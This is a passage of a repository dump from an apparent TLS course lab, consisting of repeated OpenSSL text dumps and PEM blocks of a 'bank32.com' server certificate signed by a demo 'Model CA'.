11:09:5a:45:af:82:f3:eb:d7:90:0d:0d:49:3e:6b: 26 | c8:b6:76:73:08:8c:06:9d:a9:06:fb:8c:83:c1:0a: 27 | cc:8d:30:d6:93:7d:87:70:7b:b8:4a:88:f9:1c:a8: 28 | c2:3e:f9:06:e1:ae:1b:34:f1:3e:c7:25:ab:b4:07: 29 | 49:b7:71:8b:54:40:84:56:1a:30:8d:b1:11:0d:68: 30 | 21:42:ae:e1:7e:7c:7b:94:c9:d1:43:91:f6:97:8b: 31 | cc:63:8c:ef:05:c6:8d:a9:e5:dd:39:55:60:2a:b0: 32 | 81:01 33 | Exponent: 65537 (0x10001) 34 | X509v3 extensions: 35 | X509v3 Basic Constraints: 36 | CA:FALSE 37 | Netscape Comment: 38 | OpenSSL Generated Certificate 39 | X509v3 Subject Key Identifier: 40 | 85:E2:E9:94:74:5A:7A:F6:46:8F:E6:B8:20:31:EA:2E:89:47:A1:FD 41 | X509v3 Authority Key Identifier: 42 | keyid:7B:21:44:BA:5C:5F:6F:98:78:51:43:C1:68:D8:05:EC:DB:33:98:DC 43 | 44 | Signature Algorithm: sha256WithRSAEncryption 45 | 35:d7:f2:4f:fc:3d:5a:36:0e:6b:b3:a9:cb:b7:cc:4d:33:e7: 46 | 8b:23:aa:7a:41:43:83:cb:93:07:fa:af:28:f5:9b:79:62:4b: 47 | 1f:1e:29:44:de:5b:a6:04:33:08:b7:b7:c9:e4:63:26:d8:5d: 48 | a8:f6:0d:9c:e7:c1:22:a9:c3:44:5b:5f:ae:a8:7f:9c:ac:33: 49 | 7b:95:2b:c4:f2:56:c9:92:b9:b5:91:16:0c:32:93:d7:70:0e: 50 | 7c:8f:4e:f4:55:70:69:15:fc:5d:c5:02:de:ff:28:55:0e:cc: 51 | af:f9:ee:1f:e1:0d:95:d7:11:8e:bc:4e:7c:e4:01:5e:f5:d7: 52 | 30:8d:9d:d1:34:a6:31:fc:e9:fb:50:be:4f:84:bd:ec:17:24: 53 | dc:e0:f2:cb:ec:0a:c2:bf:a7:94:b0:3c:16:eb:ee:8a:0c:39: 54 | 82:a2:3c:51:b8:bb:1d:39:a4:5e:1f:ac:67:5a:a5:06:d5:92: 55 | 06:c2:7d:89:37:bc:a0:a3:ad:bd:84:73:56:4a:2c:86:58:62: 56 | 32:3b:2c:7b:77:b2:03:63:5b:81:6b:2f:02:af:82:89:d8:81: 57 | 7e:e0:38:ea:bc:49:aa:0d:d2:fa:2e:ee:fd:a0:18:01:48:38: 58 | 2f:dd:1f:55:69:55:f4:0a:87:44:b7:5a:7e:e9:01:8a:42:46: 59 | 8e:64:7a:72:31:b9:fb:e3:da:9a:0d:2e:1c:38:cb:cf:39:40: 60 | 91:b1:ab:8d:4e:67:3d:2d:00:df:6a:b6:3b:da:ce:4e:4d:2f: 61 | fd:ee:f4:f9:7f:33:7e:cb:ff:fb:10:03:f4:92:80:ee:b8:a3: 62 | 66:a4:8a:16:c7:b9:cc:d9:35:47:8f:87:0a:ae:22:6e:d4:01: 63 | 35:7c:26:a8:aa:f4:d0:d6:03:69:98:a3:f4:33:28:ef:ce:bd: 64 | 7d:85:d6:ef:79:5e:fe:9b:99:20:fc:3f:70:c7:82:7c:31:65: 65 | 85:1a:ac:8e:77:9d:1e:cb:be:5e:35:58:de:4a:ab:7c:cc:d4: 66 | 30:e1:e3:92:7e:b6:72:b0:0b:c0:66:af:46:b6:38:20:36:b1: 67 | e8:c6:45:94:13:7c:ec:c2:0e:0b:eb:cb:c2:45:6d:21:41:84: 68 | 77:54:bd:46:60:88:9b:3b:9b:3c:14:c7:ac:e5:b3:f3:14:a2: 69 | af:e1:bb:c1:80:7b:68:25:ab:8c:e9:1a:f2:32:db:3e:23:ed: 70 | df:d3:cf:fb:f6:8e:a9:e1:09:f8:00:51:cc:b5:46:1a:c3:f6: 71 | 4b:5a:41:b2:c7:ae:d4:14:2a:cc:2e:d7:01:2c:cd:20:59:ef: 72 | c3:6f:15:56:b8:cf:c2:ad:9c:db:cc:d7:ab:0c:87:47:73:5a: 73 | 70:7b:af:55:20:40:5b:48 74 | -----BEGIN CERTIFICATE----- 75 | MIIElzCCAn+gAwIBAgICEAAwDQYJKoZIhvcNAQELBQAwXDELMAkGA1UEBhMCVVMx 76 | ETAPBgNVBAgMCE5ldyBZb3JrMREwDwYDVQQHDAhTeXJhY3VzZTERMA8GA1UECgwI 77 | TW9kZWwgQ0ExFDASBgNVBAMMC21vZGVsQ0EuY29tMB4XDTE5MDQwODA0NTk1M1oX 78 | DTIwMDQwNzA0NTk1M1owRDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3Jr 79 | MQ0wCwYDVQQKDARCYW5rMRMwEQYDVQQDDApiYW5rMzIuY29tMIIBIjANBgkqhkiG 80 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5mQyKqyg7lciUOhwx/cGko7tqrFFka293vK8 81 | pnhuyfI4YKJp6KLsefKE3FR4XOw3WGIWrrjBo+q4sbGlOuiZuwr+byCXI2+/7zdl 82 | BLh7kvlgABh2rXcBuXvJCi/h4Lf8+kUghSCGxokNeGvPfHvpLKOQydoa7T/n/zYI 83 | bWnT/+5Vn/V4GG2BItp9izb2dkV5ehjarbsRCVpFr4Lz69eQDQ1JPmvItnZzCIwG 84 | nakG+4yDwQrMjTDWk32HcHu4Soj5HKjCPvkG4a4bNPE+xyWrtAdJt3GLVECEVhow 85 | jbERDWghQq7hfnx7lMnRQ5H2l4vMY4zvBcaNqeXdOVVgKrCBAQIDAQABo3sweTAJ 86 | BgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBDZXJ0 87 | aWZpY2F0ZTAdBgNVHQ4EFgQUheLplHRaevZGj+a4IDHqLolHof0wHwYDVR0jBBgw 88 | FoAUeyFEulxfb5h4UUPBaNgF7NszmNwwDQYJKoZIhvcNAQELBQADggIBADXX8k/8 89 | PVo2Dmuzqcu3zE0z54sjqnpBQ4PLkwf6ryj1m3liSx8eKUTeW6YEMwi3t8nkYybY 90 | Xaj2DZznwSKpw0RbX66of5ysM3uVK8TyVsmSubWRFgwyk9dwDnyPTvRVcGkV/F3F 91 | At7/KFUOzK/57h/hDZXXEY68TnzkAV711zCNndE0pjH86ftQvk+EvewXJNzg8svs 92 | CsK/p5SwPBbr7ooMOYKiPFG4ux05pF4frGdapQbVkgbCfYk3vKCjrb2Ec1ZKLIZY 93 | YjI7LHt3sgNjW4FrLwKvgonYgX7gOOq8SaoN0vou7v2gGAFIOC/dH1VpVfQKh0S3 94 | Wn7pAYpCRo5kenIxufvj2poNLhw4y885QJGxq41OZz0tAN9qtjvazk5NL/3u9Pl/ 95 | M37L//sQA/SSgO64o2akihbHuczZNUePhwquIm7UATV8Jqiq9NDWA2mYo/QzKO/O 96 | vX2F1u95Xv6bmSD8P3DHgnwxZYUarI53nR7Lvl41WN5Kq3zM1DDh45J+tnKwC8Bm 97 | r0a2OCA2sejGRZQTfOzCDgvry8JFbSFBhHdUvUZgiJs7mzwUx6zls/MUoq/hu8GA 98 | e2glq4zpGvIy2z4j7d/Tz/v2jqnhCfgAUcy1RhrD9ktaQbLHrtQUKswu1wEszSBZ 99 | 78NvFVa4z8KtnNvM16sMh0dzWnB7r1UgQFtI 100 | -----END CERTIFICATE----- 101 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/cert/bank32_cert.pem: -------------------------------------------------------------------------------- 1 | Certificate: 2 | Data: 3 | Version: 3 (0x2) 4 | Serial Number: 4096 (0x1000) 5 | Signature Algorithm: sha256WithRSAEncryption 6 | Issuer: C=US, ST=New York, L=Syracuse, O=Model CA, CN=modelCA.com 7 | Validity 8 | Not Before: Oct 8 01:18:20 2019 GMT 9 | Not After : Oct 7 01:18:20 2020 GMT 10 | Subject: C=US, ST=New York, O=Bank, CN=bank32.com 11 | Subject Public Key Info: 12 | Public Key Algorithm: rsaEncryption 13 | RSA Public-Key: (2048 bit) 14 | Modulus: 15 | 00:ba:f5:56:b2:dc:30:69:4f:79:72:a0:1a:5f:91: 16 | 8f:72:1b:25:f1:81:a7:32:01:b6:c5:c5:27:ac:f5: 17 | fa:bf:da:72:e6:b1:4a:17:96:4a:62:34:96:ad:91: 18 | 6c:c3:6b:b0:1a:af:cb:a2:21:43:4e:31:17:ac:2e: 19 | 3d:8b:1b:fd:48:51:2b:5e:6a:1f:ba:10:7a:88:c9: 20 | 64:b6:4f:93:70:d4:3e:44:d2:9f:07:af:81:aa:80: 21 | a0:a2:da:48:eb:ac:21:df:73:c7:0c:20:d1:36:c9: 22 | 93:95:03:20:f4:fb:0f:b6:6e:68:c2:30:30:e3:27: 23 | d8:7d:fe:75:15:af:c5:05:f3:2a:f3:f6:3b:b8:31: 24 | e3:7a:c7:d4:e7:7b:e2:fc:a5:20:5d:5c:4d:a6:74: 25 | f3:4c:20:1d:7d:d0:f1:d0:1d:9c:94:48:4f:dd:58: 26 | 65:0b:28:22:01:70:74:34:83:e9:5a:4a:a2:95:e9: 27 | e0:c5:de:5b:33:c0:22:ce:00:21:90:4a:97:a1:d8: 28 | 4d:fc:27:13:92:21:ef:84:fb:72:2e:c4:ff:9b:aa: 29 | 9a:28:55:4e:1d:93:cc:56:43:fa:14:92:0e:a3:48: 30 | f8:5e:1e:12:2b:a2:7e:65:4d:93:e8:48:ae:33:56: 31 | 39:bc:7d:0d:f9:ad:a2:f6:8e:80:43:1e:d0:67:21: 32 | 23:4f 33 | Exponent: 65537 (0x10001) 34 | X509v3 extensions: 35 | X509v3 Basic Constraints: 36 | CA:FALSE 37 | Netscape Comment: 38 | OpenSSL Generated Certificate 39 | X509v3 Subject Key Identifier: 40 | 6A:7C:47:D3:F3:0D:BB:57:96:AD:B0:6F:81:70:79:58:67:2D:CB:A8 41 | X509v3 Authority Key Identifier: 42 | keyid:D5:79:46:1C:99:D6:F4:BE:26:3E:15:70:FD:E5:B8:FC:64:90:14:E5 43 | 44 | Signature Algorithm: sha256WithRSAEncryption 45 | 5e:50:c1:b6:8c:e6:1f:3f:1d:7c:b7:2d:f3:20:e7:89:ba:05: 46 | 3e:6d:9d:b5:e2:e5:e5:d3:3a:88:df:a8:fb:85:5c:49:f0:75: 47 | 3b:86:4c:4a:22:aa:b2:4d:87:60:74:91:bf:d6:5a:4a:19:6f: 48 | be:5c:a6:8f:03:16:34:5a:eb:ee:48:20:c1:40:58:ce:d6:37: 49 | 0c:1c:ce:d5:8a:67:b1:f5:13:6f:77:26:4a:fa:67:0c:ba:45: 50 | 22:59:56:c7:3d:f4:f3:39:d0:64:f2:d2:5b:31:37:0b:19:c8: 51 | c1:e2:a2:b8:e5:1b:af:be:81:eb:b4:d8:f8:fa:54:92:f1:1c: 52 | c3:e0:2e:f8:c6:1e:a1:5e:3f:05:47:b8:39:45:bb:14:36:b7: 53 | d0:cf:a4:10:8e:24:74:eb:c7:83:e5:19:75:a1:22:c7:e1:06: 54 | 7d:3f:d6:0a:7c:16:f6:d0:fc:57:3f:3e:27:ed:16:9f:1f:9a: 55 | aa:51:4b:94:aa:33:20:48:38:f9:ae:ee:ac:02:b6:36:aa:5f: 56 | dc:fb:83:28:d6:79:28:e7:0f:4f:f4:de:8a:4d:d3:70:69:28: 57 | 51:58:00:6c:b3:f0:a0:8e:31:87:a2:5e:f1:36:c7:c1:2e:91: 58 | bf:d3:8c:5f:b4:b7:67:9b:15:26:57:b0:70:97:01:48:ca:8c: 59 | 73:13:c1:84:58:6e:06:ec:e3:34:3e:31:cd:95:e0:ed:da:94: 60 | 38:7b:aa:fd:64:0c:cf:eb:0b:a5:74:f9:ea:63:db:e1:6d:8c: 61 | 92:47:5f:d5:8c:2c:01:f5:7e:fc:be:bb:ab:d6:db:c5:70:8b: 62 | 12:64:0d:5b:d6:e5:aa:cf:11:ee:d7:04:1f:2a:dc:f1:05:47: 63 | 60:00:36:a1:7b:0d:f8:e9:ad:d2:a0:97:62:9e:fc:8d:aa:67: 64 | ab:00:11:c4:6a:a9:3d:08:2a:1c:f6:14:75:4d:dc:c9:52:ee: 65 | 0d:11:05:52:35:ee:12:51:cf:66:dc:f6:46:db:5d:3c:10:5f: 66 | fa:cd:91:bb:77:0d:e8:e7:3a:76:81:ac:b9:bb:1c:a6:b4:51: 67 | 08:4d:84:e7:2f:50:4a:0c:ed:81:72:96:c3:c5:36:e3:46:c5: 68 | 1e:1f:da:cf:0a:71:06:e0:7e:e2:d7:b5:d0:2a:17:46:18:1e: 69 | 3b:e6:36:0d:77:c1:4c:e3:b5:eb:72:c3:af:2d:3c:e2:e6:0f: 70 | d6:45:48:96:36:41:d0:6c:a2:0e:99:14:1e:bc:35:4f:2f:21: 71 | 0f:e3:53:40:07:ee:07:8a:b0:ef:49:54:28:33:69:7b:ff:af: 72 | 98:63:f1:e5:79:4f:7b:56:40:47:48:ff:97:f4:61:47:f0:c8: 73 | e5:17:4b:83:ba:ad:b9:39 74 | -----BEGIN CERTIFICATE----- 75 | MIIElzCCAn+gAwIBAgICEAAwDQYJKoZIhvcNAQELBQAwXDELMAkGA1UEBhMCVVMx 76 | ETAPBgNVBAgMCE5ldyBZb3JrMREwDwYDVQQHDAhTeXJhY3VzZTERMA8GA1UECgwI 77 | TW9kZWwgQ0ExFDASBgNVBAMMC21vZGVsQ0EuY29tMB4XDTE5MTAwODAxMTgyMFoX 78 | DTIwMTAwNzAxMTgyMFowRDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3Jr 79 | MQ0wCwYDVQQKDARCYW5rMRMwEQYDVQQDDApiYW5rMzIuY29tMIIBIjANBgkqhkiG 80 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuvVWstwwaU95cqAaX5GPchsl8YGnMgG2xcUn 81 | rPX6v9py5rFKF5ZKYjSWrZFsw2uwGq/LoiFDTjEXrC49ixv9SFErXmofuhB6iMlk 82 | tk+TcNQ+RNKfB6+BqoCgotpI66wh33PHDCDRNsmTlQMg9PsPtm5owjAw4yfYff51 83 | Fa/FBfMq8/Y7uDHjesfU53vi/KUgXVxNpnTzTCAdfdDx0B2clEhP3VhlCygiAXB0 84 | NIPpWkqilengxd5bM8AizgAhkEqXodhN/CcTkiHvhPtyLsT/m6qaKFVOHZPMVkP6 85 | FJIOo0j4Xh4SK6J+ZU2T6EiuM1Y5vH0N+a2i9o6AQx7QZyEjTwIDAQABo3sweTAJ 86 | BgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBDZXJ0 87 | aWZpY2F0ZTAdBgNVHQ4EFgQUanxH0/MNu1eWrbBvgXB5WGcty6gwHwYDVR0jBBgw 88 | FoAU1XlGHJnW9L4mPhVw/eW4/GSQFOUwDQYJKoZIhvcNAQELBQADggIBAF5QwbaM 89 | 5h8/HXy3LfMg54m6BT5tnbXi5eXTOojfqPuFXEnwdTuGTEoiqrJNh2B0kb/WWkoZ 90 | b75cpo8DFjRa6+5IIMFAWM7WNwwcztWKZ7H1E293Jkr6Zwy6RSJZVsc99PM50GTy 91 | 0lsxNwsZyMHiorjlG6++geu02Pj6VJLxHMPgLvjGHqFePwVHuDlFuxQ2t9DPpBCO 92 | JHTrx4PlGXWhIsfhBn0/1gp8FvbQ/Fc/PiftFp8fmqpRS5SqMyBIOPmu7qwCtjaq 93 | X9z7gyjWeSjnD0/03opN03BpKFFYAGyz8KCOMYeiXvE2x8Eukb/TjF+0t2ebFSZX 94 | sHCXAUjKjHMTwYRYbgbs4zQ+Mc2V4O3alDh7qv1kDM/rC6V0+epj2+FtjJJHX9WM 95 | LAH1fvy+u6vW28VwixJkDVvW5arPEe7XBB8q3PEFR2AANqF7DfjprdKgl2Ke/I2q 96 | Z6sAEcRqqT0IKhz2FHVN3MlS7g0RBVI17hJRz2bc9kbbXTwQX/rNkbt3DejnOnaB 97 | rLm7HKa0UQhNhOcvUEoM7YFylsPFNuNGxR4f2s8KcQbgfuLXtdAqF0YYHjvmNg13 98 | wUzjtetyw68tPOLmD9ZFSJY2QdBsog6ZFB68NU8vIQ/jU0AH7geKsO9JVCgzaXv/ 99 | r5hj8eV5T3tWQEdI/5f0YUfwyOUXS4O6rbk5 100 | -----END CERTIFICATE----- 101 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/cert_server/bank32_cert.pem: -------------------------------------------------------------------------------- 1 | Certificate: 2 | Data: 3 | Version: 3 (0x2) 4 | Serial Number: 4096 (0x1000) 5 | Signature Algorithm: sha256WithRSAEncryption 6 | Issuer: C=US, ST=New York, L=Syracuse, O=Model CA, CN=modelCA.com 7 | Validity 8 | Not Before: Oct 8 01:18:20 2019 GMT 9 | Not After : Oct 7 01:18:20 2020 GMT 10 | Subject: C=US, ST=New York, O=Bank, CN=bank32.com 11 | Subject Public Key Info: 12 | Public Key Algorithm: rsaEncryption 13 | RSA Public-Key: (2048 bit) 14 | Modulus: 15 | 00:ba:f5:56:b2:dc:30:69:4f:79:72:a0:1a:5f:91: 16 | 8f:72:1b:25:f1:81:a7:32:01:b6:c5:c5:27:ac:f5: 17 | fa:bf:da:72:e6:b1:4a:17:96:4a:62:34:96:ad:91: 18 | 6c:c3:6b:b0:1a:af:cb:a2:21:43:4e:31:17:ac:2e: 19 | 3d:8b:1b:fd:48:51:2b:5e:6a:1f:ba:10:7a:88:c9: 20 | 64:b6:4f:93:70:d4:3e:44:d2:9f:07:af:81:aa:80: 21 | a0:a2:da:48:eb:ac:21:df:73:c7:0c:20:d1:36:c9: 22 | 93:95:03:20:f4:fb:0f:b6:6e:68:c2:30:30:e3:27: 23 | d8:7d:fe:75:15:af:c5:05:f3:2a:f3:f6:3b:b8:31: 24 | e3:7a:c7:d4:e7:7b:e2:fc:a5:20:5d:5c:4d:a6:74: 25 | f3:4c:20:1d:7d:d0:f1:d0:1d:9c:94:48:4f:dd:58: 26 | 65:0b:28:22:01:70:74:34:83:e9:5a:4a:a2:95:e9: 27 | e0:c5:de:5b:33:c0:22:ce:00:21:90:4a:97:a1:d8: 28 | 4d:fc:27:13:92:21:ef:84:fb:72:2e:c4:ff:9b:aa: 29 | 9a:28:55:4e:1d:93:cc:56:43:fa:14:92:0e:a3:48: 30 | f8:5e:1e:12:2b:a2:7e:65:4d:93:e8:48:ae:33:56: 31 | 39:bc:7d:0d:f9:ad:a2:f6:8e:80:43:1e:d0:67:21: 32 | 23:4f 33 | Exponent: 65537 (0x10001) 34 | X509v3 extensions: 35 | X509v3 Basic Constraints: 36 | CA:FALSE 37 | Netscape Comment: 38 | OpenSSL Generated Certificate 39 | X509v3 Subject Key Identifier: 40 | 6A:7C:47:D3:F3:0D:BB:57:96:AD:B0:6F:81:70:79:58:67:2D:CB:A8 41 | X509v3 Authority Key Identifier: 42 | keyid:D5:79:46:1C:99:D6:F4:BE:26:3E:15:70:FD:E5:B8:FC:64:90:14:E5 43 | 44 | Signature Algorithm: sha256WithRSAEncryption 45 | 5e:50:c1:b6:8c:e6:1f:3f:1d:7c:b7:2d:f3:20:e7:89:ba:05: 46 | 3e:6d:9d:b5:e2:e5:e5:d3:3a:88:df:a8:fb:85:5c:49:f0:75: 47 | 3b:86:4c:4a:22:aa:b2:4d:87:60:74:91:bf:d6:5a:4a:19:6f: 48 | be:5c:a6:8f:03:16:34:5a:eb:ee:48:20:c1:40:58:ce:d6:37: 49 | 0c:1c:ce:d5:8a:67:b1:f5:13:6f:77:26:4a:fa:67:0c:ba:45: 50 | 22:59:56:c7:3d:f4:f3:39:d0:64:f2:d2:5b:31:37:0b:19:c8: 51 | c1:e2:a2:b8:e5:1b:af:be:81:eb:b4:d8:f8:fa:54:92:f1:1c: 52 | c3:e0:2e:f8:c6:1e:a1:5e:3f:05:47:b8:39:45:bb:14:36:b7: 53 | d0:cf:a4:10:8e:24:74:eb:c7:83:e5:19:75:a1:22:c7:e1:06: 54 | 7d:3f:d6:0a:7c:16:f6:d0:fc:57:3f:3e:27:ed:16:9f:1f:9a: 55 | aa:51:4b:94:aa:33:20:48:38:f9:ae:ee:ac:02:b6:36:aa:5f: 56 | dc:fb:83:28:d6:79:28:e7:0f:4f:f4:de:8a:4d:d3:70:69:28: 57 | 51:58:00:6c:b3:f0:a0:8e:31:87:a2:5e:f1:36:c7:c1:2e:91: 58 | bf:d3:8c:5f:b4:b7:67:9b:15:26:57:b0:70:97:01:48:ca:8c: 59 | 73:13:c1:84:58:6e:06:ec:e3:34:3e:31:cd:95:e0:ed:da:94: 60 | 38:7b:aa:fd:64:0c:cf:eb:0b:a5:74:f9:ea:63:db:e1:6d:8c: 61 | 92:47:5f:d5:8c:2c:01:f5:7e:fc:be:bb:ab:d6:db:c5:70:8b: 62 | 12:64:0d:5b:d6:e5:aa:cf:11:ee:d7:04:1f:2a:dc:f1:05:47: 63 | 60:00:36:a1:7b:0d:f8:e9:ad:d2:a0:97:62:9e:fc:8d:aa:67: 64 | ab:00:11:c4:6a:a9:3d:08:2a:1c:f6:14:75:4d:dc:c9:52:ee: 65 | 0d:11:05:52:35:ee:12:51:cf:66:dc:f6:46:db:5d:3c:10:5f: 66 | fa:cd:91:bb:77:0d:e8:e7:3a:76:81:ac:b9:bb:1c:a6:b4:51: 67 | 08:4d:84:e7:2f:50:4a:0c:ed:81:72:96:c3:c5:36:e3:46:c5: 68 | 1e:1f:da:cf:0a:71:06:e0:7e:e2:d7:b5:d0:2a:17:46:18:1e: 69 | 3b:e6:36:0d:77:c1:4c:e3:b5:eb:72:c3:af:2d:3c:e2:e6:0f: 70 | d6:45:48:96:36:41:d0:6c:a2:0e:99:14:1e:bc:35:4f:2f:21: 71 | 0f:e3:53:40:07:ee:07:8a:b0:ef:49:54:28:33:69:7b:ff:af: 72 | 98:63:f1:e5:79:4f:7b:56:40:47:48:ff:97:f4:61:47:f0:c8: 73 | e5:17:4b:83:ba:ad:b9:39 74 | -----BEGIN CERTIFICATE----- 75 | MIIElzCCAn+gAwIBAgICEAAwDQYJKoZIhvcNAQELBQAwXDELMAkGA1UEBhMCVVMx 76 | ETAPBgNVBAgMCE5ldyBZb3JrMREwDwYDVQQHDAhTeXJhY3VzZTERMA8GA1UECgwI 77 | TW9kZWwgQ0ExFDASBgNVBAMMC21vZGVsQ0EuY29tMB4XDTE5MTAwODAxMTgyMFoX 78 | DTIwMTAwNzAxMTgyMFowRDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3Jr 79 | MQ0wCwYDVQQKDARCYW5rMRMwEQYDVQQDDApiYW5rMzIuY29tMIIBIjANBgkqhkiG 80 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuvVWstwwaU95cqAaX5GPchsl8YGnMgG2xcUn 81 | rPX6v9py5rFKF5ZKYjSWrZFsw2uwGq/LoiFDTjEXrC49ixv9SFErXmofuhB6iMlk 82 | tk+TcNQ+RNKfB6+BqoCgotpI66wh33PHDCDRNsmTlQMg9PsPtm5owjAw4yfYff51 83 | Fa/FBfMq8/Y7uDHjesfU53vi/KUgXVxNpnTzTCAdfdDx0B2clEhP3VhlCygiAXB0 84 | NIPpWkqilengxd5bM8AizgAhkEqXodhN/CcTkiHvhPtyLsT/m6qaKFVOHZPMVkP6 85 | FJIOo0j4Xh4SK6J+ZU2T6EiuM1Y5vH0N+a2i9o6AQx7QZyEjTwIDAQABo3sweTAJ 86 | BgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBDZXJ0 87 | aWZpY2F0ZTAdBgNVHQ4EFgQUanxH0/MNu1eWrbBvgXB5WGcty6gwHwYDVR0jBBgw 88 | FoAU1XlGHJnW9L4mPhVw/eW4/GSQFOUwDQYJKoZIhvcNAQELBQADggIBAF5QwbaM 89 | 5h8/HXy3LfMg54m6BT5tnbXi5eXTOojfqPuFXEnwdTuGTEoiqrJNh2B0kb/WWkoZ 90 | b75cpo8DFjRa6+5IIMFAWM7WNwwcztWKZ7H1E293Jkr6Zwy6RSJZVsc99PM50GTy 91 | 0lsxNwsZyMHiorjlG6++geu02Pj6VJLxHMPgLvjGHqFePwVHuDlFuxQ2t9DPpBCO 92 | JHTrx4PlGXWhIsfhBn0/1gp8FvbQ/Fc/PiftFp8fmqpRS5SqMyBIOPmu7qwCtjaq 93 | X9z7gyjWeSjnD0/03opN03BpKFFYAGyz8KCOMYeiXvE2x8Eukb/TjF+0t2ebFSZX 94 | sHCXAUjKjHMTwYRYbgbs4zQ+Mc2V4O3alDh7qv1kDM/rC6V0+epj2+FtjJJHX9WM 95 | LAH1fvy+u6vW28VwixJkDVvW5arPEe7XBB8q3PEFR2AANqF7DfjprdKgl2Ke/I2q 96 | Z6sAEcRqqT0IKhz2FHVN3MlS7g0RBVI17hJRz2bc9kbbXTwQX/rNkbt3DejnOnaB 97 | rLm7HKa0UQhNhOcvUEoM7YFylsPFNuNGxR4f2s8KcQbgfuLXtdAqF0YYHjvmNg13 98 | wUzjtetyw68tPOLmD9ZFSJY2QdBsog6ZFB68NU8vIQ/jU0AH7geKsO9JVCgzaXv/ 99 | r5hj8eV5T3tWQEdI/5f0YUfwyOUXS4O6rbk5 100 | -----END CERTIFICATE----- 101 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/cert/demoCA/newcerts/1000.pem: -------------------------------------------------------------------------------- 1 | Certificate: 2 | Data: 3 | Version: 3 (0x2) 4 | Serial Number: 4096 (0x1000) 5 | Signature Algorithm: sha256WithRSAEncryption 6 | Issuer: C=US, ST=New York, L=Syracuse, O=Model CA, CN=modelCA.com 7 | Validity 8 | Not Before: Oct 8 01:18:20 2019 GMT 9 | Not After : Oct 7 01:18:20 2020 GMT 10 | Subject: C=US, ST=New York, O=Bank, CN=bank32.com 11 | Subject Public Key Info: 12 | Public Key Algorithm: rsaEncryption 13 | RSA Public-Key: (2048 bit) 14 | Modulus: 15 | 00:ba:f5:56:b2:dc:30:69:4f:79:72:a0:1a:5f:91: 16 | 8f:72:1b:25:f1:81:a7:32:01:b6:c5:c5:27:ac:f5: 17 | fa:bf:da:72:e6:b1:4a:17:96:4a:62:34:96:ad:91: 18 | 6c:c3:6b:b0:1a:af:cb:a2:21:43:4e:31:17:ac:2e: 19 | 3d:8b:1b:fd:48:51:2b:5e:6a:1f:ba:10:7a:88:c9: 20 | 64:b6:4f:93:70:d4:3e:44:d2:9f:07:af:81:aa:80: 21 | a0:a2:da:48:eb:ac:21:df:73:c7:0c:20:d1:36:c9: 22 | 93:95:03:20:f4:fb:0f:b6:6e:68:c2:30:30:e3:27: 23 | d8:7d:fe:75:15:af:c5:05:f3:2a:f3:f6:3b:b8:31: 24 | e3:7a:c7:d4:e7:7b:e2:fc:a5:20:5d:5c:4d:a6:74: 25 | f3:4c:20:1d:7d:d0:f1:d0:1d:9c:94:48:4f:dd:58: 26 | 65:0b:28:22:01:70:74:34:83:e9:5a:4a:a2:95:e9: 27 | e0:c5:de:5b:33:c0:22:ce:00:21:90:4a:97:a1:d8: 28 | 4d:fc:27:13:92:21:ef:84:fb:72:2e:c4:ff:9b:aa: 29 | 9a:28:55:4e:1d:93:cc:56:43:fa:14:92:0e:a3:48: 30 | f8:5e:1e:12:2b:a2:7e:65:4d:93:e8:48:ae:33:56: 31 | 39:bc:7d:0d:f9:ad:a2:f6:8e:80:43:1e:d0:67:21: 32 | 23:4f 33 | Exponent: 65537 (0x10001) 34 | X509v3 extensions: 35 | X509v3 Basic Constraints: 36 | CA:FALSE 37 | Netscape Comment: 38 | OpenSSL Generated Certificate 39 | X509v3 Subject Key Identifier: 40 | 6A:7C:47:D3:F3:0D:BB:57:96:AD:B0:6F:81:70:79:58:67:2D:CB:A8 41 | X509v3 Authority Key Identifier: 42 | keyid:D5:79:46:1C:99:D6:F4:BE:26:3E:15:70:FD:E5:B8:FC:64:90:14:E5 43 | 44 | Signature Algorithm: sha256WithRSAEncryption 45 | 5e:50:c1:b6:8c:e6:1f:3f:1d:7c:b7:2d:f3:20:e7:89:ba:05: 46 | 3e:6d:9d:b5:e2:e5:e5:d3:3a:88:df:a8:fb:85:5c:49:f0:75: 47 | 3b:86:4c:4a:22:aa:b2:4d:87:60:74:91:bf:d6:5a:4a:19:6f: 48 | be:5c:a6:8f:03:16:34:5a:eb:ee:48:20:c1:40:58:ce:d6:37: 49 | 0c:1c:ce:d5:8a:67:b1:f5:13:6f:77:26:4a:fa:67:0c:ba:45: 50 | 22:59:56:c7:3d:f4:f3:39:d0:64:f2:d2:5b:31:37:0b:19:c8: 51 | c1:e2:a2:b8:e5:1b:af:be:81:eb:b4:d8:f8:fa:54:92:f1:1c: 52 | c3:e0:2e:f8:c6:1e:a1:5e:3f:05:47:b8:39:45:bb:14:36:b7: 53 | d0:cf:a4:10:8e:24:74:eb:c7:83:e5:19:75:a1:22:c7:e1:06: 54 | 7d:3f:d6:0a:7c:16:f6:d0:fc:57:3f:3e:27:ed:16:9f:1f:9a: 55 | aa:51:4b:94:aa:33:20:48:38:f9:ae:ee:ac:02:b6:36:aa:5f: 56 | dc:fb:83:28:d6:79:28:e7:0f:4f:f4:de:8a:4d:d3:70:69:28: 57 | 51:58:00:6c:b3:f0:a0:8e:31:87:a2:5e:f1:36:c7:c1:2e:91: 58 | bf:d3:8c:5f:b4:b7:67:9b:15:26:57:b0:70:97:01:48:ca:8c: 59 | 73:13:c1:84:58:6e:06:ec:e3:34:3e:31:cd:95:e0:ed:da:94: 60 | 38:7b:aa:fd:64:0c:cf:eb:0b:a5:74:f9:ea:63:db:e1:6d:8c: 61 | 92:47:5f:d5:8c:2c:01:f5:7e:fc:be:bb:ab:d6:db:c5:70:8b: 62 | 